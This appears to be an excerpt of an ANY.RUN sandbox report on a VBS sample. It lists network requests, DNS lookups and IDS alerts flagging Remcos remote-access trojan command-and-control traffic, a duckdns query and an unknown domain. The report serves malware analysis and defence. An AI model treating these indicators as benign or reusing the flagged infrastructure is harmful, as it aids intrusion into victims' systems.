svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
3700
svchost.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6160
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
6084
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6084
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
4516
msiexec.exe
GET
200
172.217.18.99:80
http://c.pki.goog/r/r4.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4712
MoUsoCoreWorker.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
3700
svchost.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3700
svchost.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5064
SearchApp.exe
104.126.37.163:443
www.bing.com
Akamai International B.V.
DE
whitelisted
1176
svchost.exe
40.126.31.69:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1176
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 184.30.21.171
  • 95.101.149.131
whitelisted
google.com
  • 216.58.206.46
whitelisted
www.bing.com
  • 104.126.37.163
  • 104.126.37.171
  • 104.126.37.161
  • 104.126.37.130
  • 104.126.37.131
  • 104.126.37.128
  • 104.126.37.136
  • 104.126.37.168
  • 104.126.37.186
whitelisted
login.live.com
  • 40.126.31.69
  • 40.126.31.73
  • 40.126.31.71
  • 20.190.159.2
  • 20.190.159.0
  • 20.190.159.75
  • 20.190.159.68
  • 20.190.159.4
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
mycompanyscannedfilez.com
  • 188.114.96.3
  • 188.114.97.3
unknown
go.microsoft.com
  • 23.218.210.69
whitelisted
arc.msn.com
  • 20.223.35.26
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain
2192
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
4516
msiexec.exe
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Checkin
4516
msiexec.exe
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Server Response
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbs